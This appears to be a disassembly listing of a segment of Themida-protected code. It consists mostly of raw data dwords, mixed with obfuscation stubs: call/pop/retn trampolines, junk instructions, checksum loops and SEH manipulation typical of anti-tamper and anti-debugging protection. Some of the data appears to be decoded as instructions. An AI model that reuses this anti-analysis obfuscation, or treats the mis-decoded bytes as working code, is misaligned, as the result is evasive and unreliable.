dd 90550000h, 8603ED36h, 1FF9FF6Fh, 0C82BF8A9h, 8BDF8B66h
dd 0A99589D1h, 0E907E403h, 2, 858BFC8Ah, 7E40349h, 29BD9D2Bh
dd 8B6607E4h, 7C083DFh, 1860Fh, 83F50000h, 8A0F00C0h, 2
dd 0D03BF88Bh, 21830Fh, 13E90000h, 24000000h, 224E067Eh
dd 7EA564E3h, 51489995h, 0C4436431h, 4FE95B23h, 66000000h
dd 8BD4E2BFh, 0E40B698Dh, 66F88B07h, 0E183D98Bh, 37840F01h
dd 0FC000000h, 0B69A583h, 0E9FE07E4h, 13h, 16B3D917h, 715D6D23h
dd 17A04D00h, 5C1CBBBh, 8958328Bh, 0E4034995h, 91BD8B07h
dd 8B07E402h, 0E4249D9Dh, 0E907h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5CB2DA: ; CODE XREF: Themida_:005CB1C3j
lea esi, [ebp+7E8187Bh]
push 0
push edx
call sub_5CB2EB
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CB2EB proc near ; CODE XREF: Themida_:005CB2E3p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5CB2EB endp
; ---------------------------------------------------------------------------
jnb short near ptr loc_5CB31E+3
sbb eax, 13E9h
add [edx+ecx*4-67E5AFDFh], ch
stc
rcl al, cl
adc al, 93h
mov bh, 0F9h
cmpsd
adc eax, 66F5D617h
mov [ebp+7E40EC9h], ebx
push 0
loc_5CB31E: ; CODE XREF: Themida_:005CB2FBj
or bx, 4D9Dh
call dword ptr [ebp+7E40E41h]
push 0
push ebx
call sub_5CB334
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CB334 proc near ; CODE XREF: Themida_:005CB32Cp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_5CB334 endp
; ---------------------------------------------------------------------------
inc ebx
add eax, 26B95DE5h
or eax, 6A0000h
push esi
call sub_5CB358
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CB358 proc near ; CODE XREF: Themida_:005CB350p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5CB358 endp
; ---------------------------------------------------------------------------
sub eax, 2A806F81h
xchg eax, edx
fadd qword ptr [ecx+2D6A8ACBh]
jl short near ptr loc_5CB37E+3
mov ebp, 7E42A91h
and ecx, 0FFFFFFFCh
loc_5CB37E: ; CODE XREF: Themida_:005CB374j
sub [ebp+7E41E85h], esi
cld
mov [ebp+7E42649h], ecx
mov eax, 0
mov [ebp+7E43581h], eax
clc
mov edx, 0
jle loc_5CB3AE
js loc_5CB3AE
add [ebp+7E40B09h], esi
loc_5CB3AE: ; CODE XREF: Themida_:005CB39Cj
; Themida_:005CB3A2j ...
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_5CB3AE
push 0
push edi
call sub_5CB3C5
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CB3C5 proc near ; CODE XREF: Themida_:005CB3BDp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5CB3C5 endp
; ---------------------------------------------------------------------------
db 84h, 0FFh, 0E4h
dd 1465FD33h, 95090E16h, 7E402B5h, 0B2638BFh, 880D26h
dd 12E90000h, 25000000h, 0C19DD59Bh, 94BC32E7h, 0F4104C39h
dd 8D260B08h, 71958B0Eh, 8B07E41Bh, 0E42AAD9Dh, 0A18D8B07h
dd 8107E42Dh, 73A393C7h, 0C28B5020h, 0C103188Bh, 0C18B188Bh
dd 0C203E8D1h, 6A58188Bh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 85D4C352h, 0D780C451h
dd 224BB72h, 0BD831339h, 7E40611h, 3D840F00h, 60000000h
dd 0A71B58Bh, 8D8907E4h, 7E400FDh, 0B861h, 0BF660000h
dd 8D8DC727h, 7E44FE7h, 0EE953h, 872E0000h, 0C02062FCh
dd 5CD8DF1Ch, 929218DFh, 0DEB70F5Bh, 9529E1FFh, 7E42A71h
dd 22B9BD83h, 0F0007E4h, 49B84h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 39AEB283h
dd 0DB529D6h, 8307E415h, 0E422B9BDh, 840F0107h, 483h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 9FC35545h, 256E1F88h
dd 3830FFEh, 0F000000h, 0BD83DBBFh, 7E422B9h, 16860F03h
dd 0FC000004h, 50006A60h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 0B8F1E98h, 943E6A6Fh
dd 0BD2B8063h, 7E41C39h, 6AD98C66h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0AA16C355h
dd 79FDDF27h, 800058DCh, 8D2904E1h, 7E42205h, 840FC90Ah
dd 14Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 75C35040h, 896051BBh, 0E402218Dh, 91BD8B07h, 6107E424h
dd 651858Bh, 8B6607E4h, 298533DEh, 5607E420h, 527BB66h
dd 5250905Fh, 8EA7D9BBh, 51310F35h, 840Fh, 5A5B0000h, 66605058h
dd 66D008BBh, 9061D78Bh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 17h, 0A6C35040h, 2BA0B8CFh, 0E40951BDh, 0D1BD0307h
dd 2907E404h, 0E40879BDh, 6A006A07h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 7F8DC357h
dd 0E6BEBFA6h, 0B5011957h, 7E4128Dh, 4E8h, 1F03FF00h, 0A5BB6600h
dd 0BB665007h, 448B63CDh, 1B30424h, 89BB008Bh, 894AAB41h
dd 0BF042444h, 4524D1F9h, 0FFFD8A58h, 0E42D9995h, 51006A07h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 6021BA51h, 673366B0h, 9531E057h, 7E405C5h, 2C319501h
dd 858907E4h, 7E7F8A5h, 0DE960h, 0D60A0000h, 0DDE2EAA2h
dd 0A380BED1h, 0F867A65h, 68Ah, 0ED9D2B00h, 6107E42Bh
dd 1F9E9h, 35858900h, 8B07E40Eh, 0E7F89D85h, 7BB6607h
dd 0B50360B7h, 7E42785h, 0C761D18Bh, 1800h, 8BFB8B00h
dd 0E7F8A1B5h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1904h, 0C3534300h, 72F442ADh, 12E89F22h
dd 49000000h, 0DB5BCA41h, 6BE1EA5Bh, 0F1B56B02h, 0D986D5DAh
dd 68E0FFCh, 81000000h, 0E42E6CCBh, 840F5F54h, 2, 858BD98Ah
dd 7E40099h, 5E8h, 9DADE800h, 0D380CEA9h, 6895B73h, 8529F960h
dd 7E4039Dh, 11BD8B61h, 8B07E40Eh, 0E4065185h, 4468907h
dd 0F9858951h, 5B07E41Eh, 38A0Fh, 8B660000h, 0E96050FEh
dd 11h, 39230273h, 0BF796F1h, 598EE6F7h, 26AAB3Ah, 10E9B4h
dd 74E20000h, 0A5B9AC83h, 47231031h, 0DE0512F2h, 89615C5Fh
dd 0BD8B2434h, 7E42589h, 0F89DB5FFh, 6A07E7h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0D4EAA4C3h
dd 257EB556h, 0F52B6CEh, 0BD8BD8B7h, 7E42435h, 4E8h, 1F03FF00h
dd 0FDBB6600h, 10E850DFh, 0A1000000h, 43004711h, 141319C0h
dd 7B41E8D4h, 0E8956524h, 5, 0EA24AA15h, 7E954h, 0CA4D0000h
dd 0C02CDD7Fh, 8B5F5FA8h, 0B3042444h, 0E8008BA5h, 6, 4ECF8CADh
dd 91B7BC49h, 2444895Fh, 8B666004h, 28E0FC6h, 60000000h
dd 6A586161h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 15042444h, 47000000h, 2325C357h, 0F8A5858Dh, 0B58907E7h
dd 7E406D5h, 89DE8B50h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1C0424h, 53430000h, 982142C3h, 5FFEB66h
dd 0BB669479h, 0FE9F428h, 12000000h, 0E55827EDh, 84A84972h
dd 0CC4470DFh, 95FF7CFFh, 7E42D99h, 18718D89h, 0F86107E4h
dd 8E853h, 15CA0000h, 7324397Ch, 0D88B591Ah, 85C75B5Bh
dd 7E422B9h, 3, 2B45B509h, 0BD8307E4h, 7E7F8A5h, 3E840F00h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 19042444h, 41000000h, 0EF49C351h, 0B06A41E9h, 0BE9h
dd 6A5D5C00h, 8EF4FE44h, 0FABCD83Fh, 6A19589h, 1DE907E4h
dd 8B000000h, 0C3050D9h, 11440011h, 10E8C101h, 2114430h
dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 81BF6660h, 1F181BFh, 610A70AAh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0A4C35040h
dd 0F633BAEh, 0BD83DABFh, 7E422B9h, 40850F03h, 0F000004h
dd 0BD83DEBFh, 7E7F8A5h, 30840F00h, 6A000004h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
dd 353DC353h, 6800F41h, 8B000000h, 0E40EF1BDh, 0A5B5FF07h
dd 6007E7F8h, 68E0Fh, 0BD890000h, 7E42349h, 27A5BD89h
dd 0FF6107E4h, 0E4044D95h, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 8B7E2339h
dd 176140DDh, 0B58B4642h, 7E7F899h, 3F11BF66h, 106C7h
dd 6A0001h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
dd 55450000h, 0C20F76C3h, 4916695Ch, 0BF66FD54h, 0BB6632D8h
dd 0E89636F4h, 8, 0C00DDB15h, 394F2B03h, 505BDE8Bh, 7E853h
dd 0D5500000h, 9FA79344h, 820F84h, 5F000000h, 6A965Fh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 0AC6FBDC3h, 6FF33985h, 0B5FF4702h, 7E7F8A5h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0F4C35141h, 0ABA2F1ADh
dd 89FB3832h, 0E43169B5h, 995FF07h, 3307E42Ah, 0E42AFD9Dh
dd 99B58B07h, 6A07E7F8h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 4723C350h, 65858BF2h
dd 6A07E431h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1A042444h, 47000000h, 56BBC357h, 578211E2h, 0F3816695h
dd 86890EAFh, 0C4h, 1EB19D8Bh, 958B07E4h, 7E41B71h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0B0C35747h, 1660179Fh
dd 0C7A05DC2h, 8E0F50D7h, 6, 870Fh, 835F0000h, 6A04C2h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
dd 8D01C4C3h, 7E417D9h, 6A205089h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0D593C355h
dd 0AD9D8BC5h, 8D07E42Ah, 0E80CD485h, 55006A07h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 530D148Ah, 6E8409A1h, 0AE9h, 43376400h, 0A6138369h
dd 8914BD4Bh, 0B886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1A04h, 0C3564600h, 0B3CD8BFh, 6649EC7Ah
dd 6AA820BBh, 0D7816600h, 0B5FFFED8h, 7E7F8A5h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 23C35040h, 5607C66h
dd 0C105D764h, 0AD95FFBFh, 8B07E431h, 0E6BF96D8h, 50355522h
dd 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h
dd 0C3524200h, 0B74A1307h, 0B5FF67A6h, 7E7F8A5h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 74C35141h, 1195FF94h
dd 6A07E41Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1B042444h, 46000000h, 10AFC356h, 0F4992951h, 89607F03h
dd 0E4023D85h, 0DEBF0F07h, 0F9BD8361h, 7E40Dh, 12840Fh
dd 0BD8B0000h, 7E42409h, 89D98A50h, 85892434h, 7E42BF9h
dd 0F8A5B5FFh, 6A07E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 150424h, 51410000h, 0F838AEC3h, 27D95FFh, 0BD2907E4h
dd 7E40419h, 0F8A5B5FFh, 13E907E7h, 58000000h, 0A4DF1882h
dd 5085ED38h, 362371BEh, 0F4033B0Eh, 5E8BE7Dh, 1000000h
dd 0C485192Ah, 458D8960h, 6607E41Ah, 0BDA8D881h, 95FF5B61h
dd 7E40971h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 40C35040h, 0A21BD83h, 0F0207E4h, 3A84h, 98D8900h
dd 8B07E42Bh, 0E41EB585h, 51006A07h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0BD8BBB1Fh
dd 7E421A1h, 2D75BD23h, 0C607E4h, 0C7FE8B00h, 0E4267185h
dd 7, 6D9D8900h, 0E907E42Dh, 0FFFFF353h, 1C15BD89h, 0C18B07E4h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 9C35343h
dd 4B7A083Dh, 9D2BC911h, 7E42465h
dword_5CBE30 dd 0D85858Dh, 9D2B07E4h, 7E41BD1h, 0F5905090h, 0BF0F006Ah
; DATA XREF: Themida_:00584B14o
dd 0F006AFFh, 9D31F8BFh, 7E42349h, 9AC7858Dh, 0BD8B07E8h
dd 7E40E45h, 6005C083h, 2F7D958Bh, 506107E4h, 12E8h, 318D9B00h
dd 0A3A2F948h, 0EA2DA14Fh, 79A163C3h, 662FC228h, 5F2173BFh
dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 16042444h, 41000000h, 23B2C351h, 0A6CEBB29h, 6A7246h
dd 22D19D8Bh, 6A07E4h, 1B9D9D8Bh, 95FF07E4h, 7E42471h
dd 0BC0CC781h, 8D8D4C58h, 7E7D64Bh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 68C35646h, 0C362B174h, 0FE9325Bh
dd 0DE000000h, 0B248E4C6h, 0C400B2B5h, 8521190Eh, 0D1FF521Ch
dd 1D69BD2Bh, 0BD8307E4h, 7E42015h, 3B850F01h, 89000000h
dd 0E40D89BDh, 6A026A07h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 0FB83C357h, 0C48616FCh
dd 50FAD380h, 4895F50h, 0AD95FF24h, 0F07E431h, 8EE9DEBFh
dd 0E800000Eh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 7E89AD1h
push 0
push esi
call sub_5CBF6E
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CBF6E proc near ; CODE XREF: Themida_:005CBF66p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_5CBF6E endp
; ---------------------------------------------------------------------------
dw 2882h
dd 0D8C67AA5h, 2964746Dh, 0E42AA5B5h, 359D8B07h, 6A07E402h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h
dd 43000000h, 0E998C353h, 8B665014h, 858D5BFAh, 7E7C6E1h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0B5C35141h
dd 0B6CE257Eh, 8E0FE952h, 5, 0BDEB8166h, 665090B1h, 5B390DBBh
dd 3B0FBB50h, 6A9073EDh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 15042444h, 46000000h, 3A28C356h, 0C860Fh
dd 830F0000h, 6, 0E29B589h, 0BE807E4h, 0C9000000h, 93D529E5h
dd 5F95EC66h, 85892D8Dh, 7E431DDh, 35FF645Fh, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5CC04F
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CC04F proc near ; CODE XREF: Themida_:005CC047p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_5CC04F endp
; ---------------------------------------------------------------------------
mov dh, 60h
mov bx, 9F1Fh
mov ebx, eax
popa
mov large fs:0, esp
sub [ebp+7E40DB9h], edi
inc dword ptr [ebp+7E420B9h]
push 0
push ebx
call sub_5CC086
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CC086 proc near ; CODE XREF: Themida_:005CC07Ep
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5CC086 endp
; ---------------------------------------------------------------------------
push 0FFFFFFECh
jz loc_5CC0A4
mov [ebp+7E41C7Dh], ebx
loc_5CC0A4: ; CODE XREF: Themida_:005CC098j
push 0FFFFFFFFh
jmp loc_5CC0BE
; ---------------------------------------------------------------------------
db 0B8h
dd 457F8229h, 2C5F2E41h, 7F61D8CAh, 229E772Ah
; ---------------------------------------------------------------------------
adc esi, edi
loc_5CC0BE: ; CODE XREF: Themida_:005CC0A6j
push dword ptr [ebp+7E41811h]
push 0
push edx
call sub_5CC0CF
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CC0CF proc near ; CODE XREF: Themida_:005CC0C7p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5CC0CF endp
; ---------------------------------------------------------------------------
db 41h
dd 0DA8B668Ch, 304D95FFh, 66E907E4h, 0F000001h, 1289h
dd 0DE900h, 3D760000h, 176D8D1Fh, 29582B5Eh, 0B0D21AE2h
dd 0BD9D8900h, 0E607E415h, 0BBB6670h, 6671E499h, 3924CB81h
dd 830F613Ch, 131h, 29C8B60Fh, 0E4213D85h, 6840F07h, 29000000h
dd 0E40ED5B5h, 6BA07h, 9E90000h, 0AB000000h, 605F12DCh
dd 9254BCEh, 58F0Fh, 3BB0000h, 8B742097h, 4E8C1C1h, 2D458D31h
dd 0F76607E4h, 2BDF8BE2h, 38E0FC8h, 80000000h, 8B6049D3h
dd 0E4024595h, 2810F07h, 57000000h, 0D18B615Ah, 10E9h
dd 28FC5500h, 0DA03216Fh, 82E7919Fh, 0F03831DDh, 6E949h
dd 0D7810000h, 424ADF54h, 25C5858Bh, 5E907E4h, 78000000h
dd 47E6EEB0h, 8907C083h, 0E42221B5h, 0C08307h, 0A58D8957h
dd 5B07E415h, 830FD03Bh, 2Ch, 0E5BD8B51h, 5F07E422h, 78E9h
dd 13E800h, 141F0000h, 0D531980h, 0BA0268A8h, 7E44EAF4h
dd 7264DA26h, 19BD8B32h, 5B07E40Ah, 35918D8Bh, 0E85107E4h
dd 12h, 0EED3E5DBh, 60914E07h, 76675CC0h, 1C3EA262h, 0DEB768FDh
dd 9D035F5Fh, 7E40035h, 0F01E183h, 2884h, 68E0F00h, 1000000h
dd 0E403F985h, 91A58307h, 0FE07E435h, 19E7BB66h, 25C59589h
dd 0BD8B07E4h, 7E41DD9h, 0E9h, 2AB58D00h, 8B07E827h, 0E423A1BDh
dd 6A006A07h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 15042444h, 46000000h, 0E5B6C356h, 5E9h, 0D421E600h
dd 95FF06A7h, 7E40E41h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ah, 8C35545h, 0E8D260Bh, 0CE95380h, 0B1000000h
dd 852A6553h, 28637CD7h, 0B91CD69Ch, 817h, 2FE1BD8Bh, 0E18307E4h
dd 0B1BD89FCh, 0FC07E418h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 0D9C35545h, 9743A5E3h, 0F4F6DF5h, 0A87h
dd 5E900h, 0A79A0000h, 2B093BBCh, 659D09C0h, 0BA07E424h
dd 0
; ---------------------------------------------------------------------------
adc bx, 0E48Bh
sub edi, 5BE889F7h
loc_5CC323: ; CODE XREF: Themida_:005CC32Dj
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_5CC323
push 0
push ecx
call sub_5CC33A
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CC33A proc near ; CODE XREF: Themida_:005CC332p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_5CC33A endp
; ---------------------------------------------------------------------------
dw 0F7F4h
; ---------------------------------------------------------------------------
or [edx], eax
sal ebp, 1
xchg ecx, ebp
push 0
push edx
call sub_5CC35D
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CC35D proc near ; CODE XREF: Themida_:005CC355p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_5CC35D endp
; ---------------------------------------------------------------------------
mov ebp, 0FA0F3EE7h
xlat
retf
; ---------------------------------------------------------------------------
dec ebp
dec ecx
clc
or eax, 88h
push 0
push ebx
call sub_5CC387
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CC387 proc near ; CODE XREF: Themida_:005CC37Fp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5CC387 endp
; ---------------------------------------------------------------------------
db 0EBh
dd 6E9C8h, 34E80000h, 0ED6DB31Eh, 71958BF5h, 6A07E41Bh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 0E5D1C351h, 52426BA1h, 0BFC4D71Dh, 0CFD8414h
dd 6830Fh, 0BD290000h, 7E41E6Dh, 2DA18D8Bh, 6A07E4h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
dd 6E950C3h, 0E5000000h, 52426BA1h, 0C28B501Dh, 0C103188Bh
dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 638AC350h
dd 0AB359F5Eh, 89682DBFh, 0E42AE1B5h, 0BD83F907h, 7E40611h
dd 47840F00h, 80000000h, 0B814C7h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
dd 0C3B6C352h, 8D09C14Fh, 7E4009Dh, 0DF8166h, 0E78D8D52h
dd 8B07E44Fh, 0FE1FFDAh, 581h, 0C664BB00h, 0BD836546h
dd 7E422B9h, 9D840F00h, 0F5000004h, 22B9BD83h, 0F0107E4h
dd 4AA84h, 71958900h, 0BF07E422h, 1056C278h, 22B9BD83h
dd 0F0307E4h, 45C86h, 0E9BD2B00h, 6007E401h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 7CC35646h, 0FAADDF57h
dd 0B1B589EDh, 8107E403h, 7258B8DFh, 0D98C6604h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0D7C35646h, 666610CEh
dd 860FF88Bh, 6, 14FD9D8Bh, 0E18007E4h, 56006A04h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 0E6EA6BCh, 4FEF8163h, 0A254F46h, 69840FC9h, 6A000001h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 7D09C352h, 0BF7C13A1h, 725B5D67h, 651858Bh
dd 6A07E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
dd 55450000h, 435427C3h, 4FE380F4h, 6810Fh, 0BD8B0000h
dd 7E42D19h, 20298533h, 8D0F07E4h, 6, 365BD23h, 0E89007E4h
dd 0Ch, 0E2399209h, 0F53BC80Ah, 0E9548529h, 5810Fh, 2BB0000h
dd 5B5268AAh, 0B7525050h, 66310F74h, 585AD98Bh, 6AF98B90h
dd 79858900h, 0E807E402h, 4, 1F03FFh, 50525060h, 5A310F52h
dd 0BE310F58h, 24C9953Ch, 8A0F585Ah, 17h, 11E8h, 4180AC00h
dd 3DDF4A3h, 34C62E36h, 456483ECh, 615E22D8h, 8B49B750h
dd 66042444h, 8BD88Bh, 840F5250h, 2, 310F73B3h, 585A1AB7h
dd 4244489h, 9C26F6BFh, 6A5829h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 190424h, 53430000h, 4A1CDDC3h, 5718D99Ah
dd 95FF5BF9h, 7E42D99h, 0B66ECF81h, 9D8B574Ch, 7E42DADh
dd 0F8A58589h, 816607E7h, 0E97427E7h, 1EBh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 5DC35545h, 63FE6D2Ah
dd 0DC440032h, 0F89D858Bh, 6A07E7h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 170424h, 52420000h, 751E1EC3h
dd 1800C74Dh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 6619C357h, 1B53E781h
dd 0F8A1B58Bh, 0BD3307E7h, 7E40145h, 99858Bh, 6A07E4h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 689B8C3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 16h, 0E4C35545h, 816645F0h, 8BF586F3h, 0E4065185h, 89DF8B07h
dd 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 47BF0DC3h, 5040B2C1h, 14E860h, 0BBCF0000h
dd 582182C3h, 55413ACFh, 973CE4AAh, 0DBB3EC84h, 4BBE2373h
dd 5E401300h, 0F56B966h, 24348961h, 15298589h, 8E907E4h
dd 0DD000000h, 56AED9F8h, 0FF00BD9Fh, 0E7F89DB5h, 0CB816607h
dd 0FE68CCD3h, 8142413Bh, 38012434h, 6A425Eh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0BBCF7CC3h
dd 63A3FC94h, 1C1D9D8Bh, 858D07E4h, 7E7F8A5h, 41BD8Bh
dd 669007E4h, 50FA78BBh, 52A12BFh, 6A9050h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 78920EC3h
dd 0ECBE05B2h, 0CE84Dh, 44C70000h, 0F76E4185h, 4DB61353h
dd 0B5890186h, 7E415E5h, 9995FF5Fh, 6A07E42Dh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 8B61C355h, 0E426819Dh, 0B4EF8107h, 6138A39Eh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 80C35040h, 518F4481h
dd 6CC51EAEh, 10E9h, 0BED05C00h, 0EB44EDF1h, 34E871B5h
dd 0ED6DB31Eh, 0B985C7A8h, 307E422h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
dd 8693C355h, 0B586B97Fh, 68A0Fh, 85890000h, 7E42019h
dd 0F8A5BD83h, 0F0007E7h, 1884h, 8E900h, 5E8A0000h, 0EE4AC20h
dd 21E98F79h, 3000000h, 0E40E459Dh, 0C305007h, 11440011h
dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h
dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h
dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
dd 83110430h, 0E77504E9h, 0C08B00EBh, 0AADB589h, 6A07E4h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
dd 253057C3h, 0D8B70F40h, 22B9BD83h, 0F0307E4h, 3EB85h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 1B59A143h, 0FB8B14FBh, 0F8A5BD83h, 0F0007E7h
dd 3BB84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1D04h, 0C3564600h, 63A9E86Ch, 0F4191B87h, 9D032C83h
dd 7E4237Dh, 0F8A5B5FFh, 6A07E7h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 140424h, 51410000h, 0BD8BAEC3h, 7E42139h
dd 44D95FFh, 5ABB07E4h, 661055E0h, 8B6503BFh, 0E7F899B5h
dd 39BD8B07h, 0C707E426h, 1000106h, 6830F00h, 89000000h
dd 0E41C598Dh, 890F9607h, 5, 4B2DBBBBh, 6A96500Fh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
dd 353EC351h, 0BF4BD804h, 14E9h, 0CA72A00h, 482A763Fh
dd 56E02E88h, 0F41DB1A9h, 5B7B5E67h, 0A5B5FF4Ah, 6007E7F8h
